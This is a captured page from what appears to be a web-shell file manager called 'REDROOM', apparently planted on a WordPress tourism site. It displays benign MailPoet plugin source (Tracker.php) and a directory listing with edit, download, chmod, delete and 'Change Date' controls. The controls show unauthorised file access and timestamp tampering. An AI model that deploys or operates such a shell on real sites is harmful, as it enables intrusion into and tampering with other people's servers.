REDROOM
PHP 8.2.31
Path:
Logout
Edit File
Size: 2.23 KB
Close
/home/nshryvcy/himaltourism.com/wp-content/plugins/mailpoet/lib/WooCommerce/Tracker.php
Text
Base64
<?php declare(strict_types = 1); namespace MailPoet\WooCommerce; if (!defined('ABSPATH')) exit; use MailPoet\Logging\LoggerFactory; use MailPoet\Newsletter\NewslettersRepository; use MailPoet\Statistics\StatisticsWooCommercePurchasesRepository; class Tracker { /** @var StatisticsWooCommercePurchasesRepository */ private $wooPurchasesRepository; /** @var LoggerFactory */ private $loggerFactory; /** @var Helper */ private $wooHelper; /** @var NewslettersRepository */ private $newslettersRepository; public function __construct( StatisticsWooCommercePurchasesRepository $wooPurchasesRepository, NewslettersRepository $newslettersRepository, Helper $wooHelper, LoggerFactory $loggerFactory ) { $this->wooPurchasesRepository = $wooPurchasesRepository; $this->newslettersRepository = $newslettersRepository; $this->wooHelper = $wooHelper; $this->loggerFactory = $loggerFactory; } public function addTrackingData(array $data): array { try { $currency = $this->wooHelper->getWoocommerceCurrency(); $analyticsData = $this->newslettersRepository->getAnalytics(); $data['extensions']['mailpoet'] = [ 'campaigns_count' => $analyticsData['campaigns_count'], ]; $campaignData = $this->formatCampaignsData($this->wooPurchasesRepository->getRevenuesByCampaigns($currency)); $data['extensions']['mailpoet'] = array_merge($data['extensions']['mailpoet'], $campaignData); } catch (\Throwable $e) { $this->loggerFactory->getLogger(LoggerFactory::TOPIC_TRACKING)->error($e->getMessage()); return $data; } return $data; } /** * @param array<int, array{revenue: float, campaign_id: string, campaign_type: string, orders_count: int}> $campaignsData * @return array<string, string|int|float> */ private function formatCampaignsData(array $campaignsData): array { return array_reduce($campaignsData, function($result, array $campaign): array { $keyPrefix = 'campaign_' . $campaign['campaign_id']; $result[$keyPrefix . '_revenue'] = $campaign['revenue']; $result[$keyPrefix . '_orders_count'] = $campaign['orders_count']; $result[$keyPrefix . '_type'] = $campaign['campaign_type']; return $result; }, []); } }
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 1 × Files: 10
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
TransactionalEmails
DIR
-
drwxr-xr-x
2023-04-04 05:35:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
CouponPreProcessor.php
5.56 KB
lrw-r--r--
2023-04-04 05:35:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Helper.php
6.63 KB
lrw-r--r--
2023-04-04 05:35:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
index.php
0 B
lrw-r--r--
2023-04-04 05:35:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
MailPoetTask.php
1.99 KB
lrw-r--r--
2023-04-04 05:35:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Settings.php
1.53 KB
lrw-r--r--
2023-04-04 05:35:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
SubscriberEngagement.php
1.00 KB
lrw-r--r--
2023-04-04 05:35:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Subscription.php
10.34 KB
lrw-r--r--
2023-04-04 05:35:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Tracker.php
2.23 KB
lrw-r--r--
2023-04-04 05:35:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
TransactionalEmailHooks.php
4.30 KB
lrw-r--r--
2023-04-04 05:35:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
TransactionalEmails.php
5.09 KB
lrw-r--r--
2023-04-04 05:35:40
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).